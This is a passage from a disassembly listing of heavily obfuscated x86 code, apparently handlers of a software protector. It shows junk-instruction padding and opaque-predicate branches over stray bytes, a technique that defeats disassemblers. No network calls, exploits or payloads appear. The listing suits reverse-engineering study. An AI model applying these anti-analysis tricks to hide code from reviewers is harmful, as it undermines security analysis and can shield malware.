mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A6EE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A6EE: ; CODE XREF: sub_49A543+1A0j
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A543 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A702 proc near ; DATA XREF: sub_4965D8+745o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_49A72B
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_49A72B: ; CODE XREF: sub_49A702+22j
mov ebx, 71h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
add ebx, 7
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED404
xor ecx, dword_4ED408
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A775
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A775: ; CODE XREF: sub_49A702+68j
mov eax, [ebp+var_8]
push eax
call off_4F1D5C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A702 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A789 proc near ; DATA XREF: sub_4965D8+86Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49A7AE
jl short loc_49A7AC
loc_49A7A9: ; CODE XREF: sub_49A789:loc_49A7ACj
; sub_49A789:loc_49A7AEj
jmp short loc_49A7B0
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49A7AC: ; CODE XREF: sub_49A789+1Ej
jz short loc_49A7A9
loc_49A7AE: ; CODE XREF: sub_49A789+1Cj
jmp short loc_49A7A9
; ---------------------------------------------------------------------------
loc_49A7B0: ; CODE XREF: sub_49A789:loc_49A7A9j
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
xor bh, 7
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_49A7D4
jl short loc_49A7D2
loc_49A7CF: ; CODE XREF: sub_49A789:loc_49A7D2j
; sub_49A789:loc_49A7D4j
jmp short loc_49A7D6
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49A7D2: ; CODE XREF: sub_49A789+44j
jz short loc_49A7CF
loc_49A7D4: ; CODE XREF: sub_49A789+42j
jmp short loc_49A7CF
; ---------------------------------------------------------------------------
loc_49A7D6: ; CODE XREF: sub_49A789:loc_49A7CFj
mov bl, 0C6h
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
jo short loc_49A80B
jl short loc_49A809
loc_49A806: ; CODE XREF: sub_49A789:loc_49A809j
; sub_49A789:loc_49A80Bj
jmp short loc_49A80D
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49A809: ; CODE XREF: sub_49A789+7Bj
jz short loc_49A806
loc_49A80B: ; CODE XREF: sub_49A789+79j
jmp short loc_49A806
; ---------------------------------------------------------------------------
loc_49A80D: ; CODE XREF: sub_49A789:loc_49A806j
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED408
xor ecx, dword_4ED40C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A83B
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A83B: ; CODE XREF: sub_49A789+A7j
mov eax, [ebp+var_8]
push eax
call off_4F1D60
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A84F proc near ; DATA XREF: sub_4965D8+8F4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 410h
pop ebx
dec bh
dec bh
sub bh, 0FFh
sub bh, 2
dec bh
and ah, bh
mov bl, 0Eh
sub bl, 4
dec bl
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49A8AE
not eax
add eax, 1
stc
jmp short loc_49A8B4
; ---------------------------------------------------------------------------
loc_49A8AE: ; CODE XREF: sub_49A84F+55j
not eax
add eax, 1
clc
loc_49A8B4: ; CODE XREF: sub_49A84F+5Dj
sbb eax, eax
inc eax
dec eax
jo short loc_49A8C3
jl short loc_49A8C1
loc_49A8BC: ; CODE XREF: sub_49A84F:loc_49A8C1j
; sub_49A84F:loc_49A8C3j
jmp short loc_49A8C5
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49A8C1: ; CODE XREF: sub_49A84F+6Bj
jz short loc_49A8BC
loc_49A8C3: ; CODE XREF: sub_49A84F+69j
jmp short loc_49A8BC
; ---------------------------------------------------------------------------
loc_49A8C5: ; CODE XREF: sub_49A84F:loc_49A8BCj
inc eax
dec eax
jo short loc_49A8D2
jl short loc_49A8D0
loc_49A8CB: ; CODE XREF: sub_49A84F:loc_49A8D0j
; sub_49A84F:loc_49A8D2j
jmp short loc_49A8D4
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49A8D0: ; CODE XREF: sub_49A84F+7Aj
jz short loc_49A8CB
loc_49A8D2: ; CODE XREF: sub_49A84F+78j
jmp short loc_49A8CB
; ---------------------------------------------------------------------------
loc_49A8D4: ; CODE XREF: sub_49A84F:loc_49A8CBj
inc eax
dec eax
inc eax
dec eax
jo short loc_49A8E1
jl short loc_49A8DF
loc_49A8DC: ; CODE XREF: sub_49A84F:loc_49A8DFj
; sub_49A84F:loc_49A8E1j
jmp short loc_49A8E3
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49A8DF: ; CODE XREF: sub_49A84F+8Bj
jz short loc_49A8DC
loc_49A8E1: ; CODE XREF: sub_49A84F+89j
jmp short loc_49A8DC
; ---------------------------------------------------------------------------
loc_49A8E3: ; CODE XREF: sub_49A84F:loc_49A8DCj
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A907
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A907: ; CODE XREF: sub_49A84F+ADj
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A84F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A91B proc near ; DATA XREF: sub_4965D8+F10o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D94
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 80h
jmp short loc_49A944
; ---------------------------------------------------------------------------
mov ebx, 4
loc_49A944: ; CODE XREF: sub_49A91B+22j
mov ebx, 30h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
add ebx, 4
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C4
xor ecx, dword_4ED3C8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49A994
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49A994: ; CODE XREF: sub_49A91B+6Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D1C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A91B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49A9A8 proc near ; DATA XREF: sub_4965D8+811o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1E00h
pop ebx
jo short loc_49A9DE
jl short loc_49A9DC
loc_49A9D7: ; CODE XREF: sub_49A9A8:loc_49A9DCj
; sub_49A9A8:loc_49A9DEj
jmp short loc_49A9E0
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49A9DC: ; CODE XREF: sub_49A9A8+2Dj
jz short loc_49A9D7
loc_49A9DE: ; CODE XREF: sub_49A9A8+2Bj
jmp short loc_49A9D7
; ---------------------------------------------------------------------------
loc_49A9E0: ; CODE XREF: sub_49A9A8:loc_49A9D7j
sub bh, 4
dec bh
push eax
dec bh
dec bh
jo short loc_49A9F3
jl short loc_49A9F1
loc_49A9EE: ; CODE XREF: sub_49A9A8:loc_49A9F1j
; sub_49A9A8:loc_49A9F3j
jmp short loc_49A9F5
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49A9F1: ; CODE XREF: sub_49A9A8+44j
jz short loc_49A9EE
loc_49A9F3: ; CODE XREF: sub_49A9A8+42j
jmp short loc_49A9EE
; ---------------------------------------------------------------------------
loc_49A9F5: ; CODE XREF: sub_49A9A8:loc_49A9EEj
and eax, 40h
dec bh
sub bh, 12h
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 12h
dec dl
sub dl, 1
dec dl
sub dl, 7
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49AA49
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49AA49: ; CODE XREF: sub_49A9A8+96j
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49A9A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49AA5D proc near ; DATA XREF: sub_4965D8+580o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Fh
dec ch
dec ch
dec ch
sub ch, 1
sub ch, 15h
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
inc cl
dec cl
dec cl
dec cl
dec cl
inc cl
dec cl
dec cl
dec cl
dec cl
inc cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 13h
dec cl
sub cl, 3
dec cl
and eax, 41h
dec cl
dec cl
dec cl
add cl, 0Dh
dec cl
and eax, 80h
sub cl, 22h
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49AB47
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49AB47: ; CODE XREF: sub_49AA5D+DFj
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49AA5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49AB5B proc near ; DATA XREF: sub_4965D8+1037o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 10h
dec cl
dec cl
dec cl
add cl, 0Fh
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
inc cl
dec cl
dec cl
inc cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F4
xor ecx, dword_4ED3F8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49AC31
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49AC31: ; CODE XREF: sub_49AB5B+CBj
mov eax, [ebp+var_8]
push eax
call off_4F1D4C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49AB5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49AC45 proc near ; DATA XREF: sub_4965D8+DA5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 2
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
dec bl
dec bl
dec bl
dec bl
dec edi
dec edi
dec bl
dec bl
dec bl
sub cl, 2
dec bl
dec cl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3E4
xor ecx, dword_4ED3E8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49ACE0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49ACE0: ; CODE XREF: sub_49AC45+90j
mov eax, [ebp+var_8]
push eax
call off_4F1D3C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49AC45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49ACF4 proc near ; DATA XREF: sub_4965D8+3BBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DEC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
jo short loc_49AD2A
jl short loc_49AD28
loc_49AD23: ; CODE XREF: sub_49ACF4:loc_49AD28j
; sub_49ACF4:loc_49AD2Aj
jmp short loc_49AD2C
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49AD28: ; CODE XREF: sub_49ACF4+2Dj
jz short loc_49AD23
loc_49AD2A: ; CODE XREF: sub_49ACF4+2Bj
jmp short loc_49AD23
; ---------------------------------------------------------------------------
loc_49AD2C: ; CODE XREF: sub_49ACF4:loc_49AD23j
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
not ecx
not ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
jo short loc_49AD7B
jl short loc_49AD79
loc_49AD74: ; CODE XREF: sub_49ACF4:loc_49AD79j
; sub_49ACF4:loc_49AD7Bj
jmp short loc_49AD7D
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49AD79: ; CODE XREF: sub_49ACF4+7Ej
jz short loc_49AD74
loc_49AD7B: ; CODE XREF: sub_49ACF4+7Cj
jmp short loc_49AD74
; ---------------------------------------------------------------------------
loc_49AD7D: ; CODE XREF: sub_49ACF4:loc_49AD74j
and eax, ecx
pop ecx
pop edx
test eax, eax
jnz loc_49AEA6
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
jo short loc_49ADDE
jl short loc_49ADDC
loc_49ADD7: ; CODE XREF: sub_49ACF4:loc_49ADDCj
; sub_49ACF4:loc_49ADDEj
jmp short loc_49ADE0
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49ADDC: ; CODE XREF: sub_49ACF4+E1j
jz short loc_49ADD7
loc_49ADDE: ; CODE XREF: sub_49ACF4+DFj
jmp short loc_49ADD7
; ---------------------------------------------------------------------------
loc_49ADE0: ; CODE XREF: sub_49ACF4:loc_49ADD7j
dec cl
dec cl
dec cl
dec cl
jo short loc_49ADF3
jl short loc_49ADF1
loc_49ADEC: ; CODE XREF: sub_49ACF4:loc_49ADF1j
; sub_49ACF4:loc_49ADF3j
jmp short loc_49ADF5
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49ADF1: ; CODE XREF: sub_49ACF4+F6j
jz short loc_49ADEC
loc_49ADF3: ; CODE XREF: sub_49ACF4+F4j
jmp short loc_49ADEC
; ---------------------------------------------------------------------------
loc_49ADF5: ; CODE XREF: sub_49ACF4:loc_49ADECj
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
jo short loc_49AE23
jl short loc_49AE21
loc_49AE1C: ; CODE XREF: sub_49ACF4:loc_49AE21j
; sub_49ACF4:loc_49AE23j
jmp short loc_49AE25
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49AE21: ; CODE XREF: sub_49ACF4+126j
jz short loc_49AE1C
loc_49AE23: ; CODE XREF: sub_49ACF4+124j
jmp short loc_49AE1C
; ---------------------------------------------------------------------------
loc_49AE25: ; CODE XREF: sub_49ACF4:loc_49AE1Cj
and al, cl
jo short loc_49AE32
jl short loc_49AE30
loc_49AE2B: ; CODE XREF: sub_49ACF4:loc_49AE30j
; sub_49ACF4:loc_49AE32j
jmp short loc_49AE34
; ---------------------------------------------------------------------------
db 0E8h, 12h, 26h
; ---------------------------------------------------------------------------
loc_49AE30: ; CODE XREF: sub_49ACF4+135j
jz short loc_49AE2B
loc_49AE32: ; CODE XREF: sub_49ACF4+133j
jmp short loc_49AE2B
; ---------------------------------------------------------------------------
loc_49AE34: ; CODE XREF: sub_49ACF4:loc_49AE2Bj
pop ecx
pop ebx
neg eax
sbb eax, eax
inc eax
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49AE58
jl short loc_49AE56
loc_49AE51: ; CODE XREF: sub_49ACF4:loc_49AE56j
; sub_49ACF4:loc_49AE58j
jmp short loc_49AE5A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49AE56: ; CODE XREF: sub_49ACF4+15Bj
jz short loc_49AE51
loc_49AE58: ; CODE XREF: sub_49ACF4+159j
jmp short loc_49AE51
; ---------------------------------------------------------------------------
loc_49AE5A: ; CODE XREF: sub_49ACF4:loc_49AE51j
sub bl, 5
dec bl
push eax
dec bl
dec bl
and eax, 41h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1500h
dec dh
sub dh, 7
dec dh
sub dh, 3
dec dh
jo short loc_49AE90
jl short loc_49AE8E
loc_49AE89: ; CODE XREF: sub_49ACF4:loc_49AE8Ej
; sub_49ACF4:loc_49AE90j
jmp short loc_49AE92
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49AE8E: ; CODE XREF: sub_49ACF4+193j
jz short loc_49AE89
loc_49AE90: ; CODE XREF: sub_49ACF4+191j
jmp short loc_49AE89
; ---------------------------------------------------------------------------
loc_49AE92: ; CODE XREF: sub_49ACF4:loc_49AE89j
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49AEA6
and eax, 0
inc eax
jmp short loc_49AEA9
; ---------------------------------------------------------------------------
loc_49AEA6: ; CODE XREF: sub_49ACF4+8Fj
; sub_49ACF4+1AAj
and eax, 0
loc_49AEA9: ; CODE XREF: sub_49ACF4+1B0j
mov [ebp+var_C], eax
mov ecx, dword_4ED41C
xor ecx, dword_4ED420
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49AECC
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49AECC: ; CODE XREF: sub_49ACF4+1CDj
mov eax, [ebp+var_8]
push eax
call off_4F1D74
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49ACF4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49AEE0 proc near ; DATA XREF: sub_4965D8+443o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 80h
xchg eax, ecx
mov ecx, 1
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
push edx
mov dh, 12h
dec dh
dec dh
not ecx
dec dh
dec dh
dec dh
dec dh
bswap eax
dec dh
dec dh
sub dh, 5
dec dh
dec dh
dec dh
dec dh
dec dh
bswap eax
and ah, dh
mov dl, 9
dec dl
dec dl
dec dl
dec dl
not ecx
dec dl
dec dl
dec dl
dec dl
dec dl
add dl, 1
and al, dl
not ah
bswap eax
bswap eax
not ah
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49AF85
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49AF85: ; CODE XREF: sub_49AEE0+9Aj
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49AEE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49AF99 proc near ; DATA XREF: sub_4965D8+D07o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 2
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 200h
inc dh
inc dh
dec dh
inc dh
inc dh
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
jo short loc_49B062
jl short loc_49B060
loc_49B05D: ; CODE XREF: sub_49AF99:loc_49B060j
; sub_49AF99:loc_49B062j
jmp short loc_49B064
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49B060: ; CODE XREF: sub_49AF99+C2j
jz short loc_49B05D
loc_49B062: ; CODE XREF: sub_49AF99+C0j
jmp short loc_49B05D
; ---------------------------------------------------------------------------
loc_49B064: ; CODE XREF: sub_49AF99:loc_49B05Dj
jnz short loc_49B06B
and eax, 0
jmp short loc_49B06F
; ---------------------------------------------------------------------------
loc_49B06B: ; CODE XREF: sub_49AF99:loc_49B064j
and eax, 0
inc eax
loc_49B06F: ; CODE XREF: sub_49AF99+D0j
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49B092
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49B092: ; CODE XREF: sub_49AF99+EEj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49AF99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49B0A6 proc near ; DATA XREF: sub_4965D8+1449o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0D00h
pop ebx
jo short loc_49B0DC
jl short loc_49B0DA
loc_49B0D5: ; CODE XREF: sub_49B0A6:loc_49B0DAj
; sub_49B0A6:loc_49B0DCj
jmp short loc_49B0DE
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49B0DA: ; CODE XREF: sub_49B0A6+2Dj
jz short loc_49B0D5
loc_49B0DC: ; CODE XREF: sub_49B0A6+2Bj
jmp short loc_49B0D5
; ---------------------------------------------------------------------------
loc_49B0DE: ; CODE XREF: sub_49B0A6:loc_49B0D5j
sub bh, 5
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 25h
dec dl
sub dl, 3
dec dl
sub dl, 17h
dec dl
dec dl
dec dl
dec dl
dec dl
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
neg eax
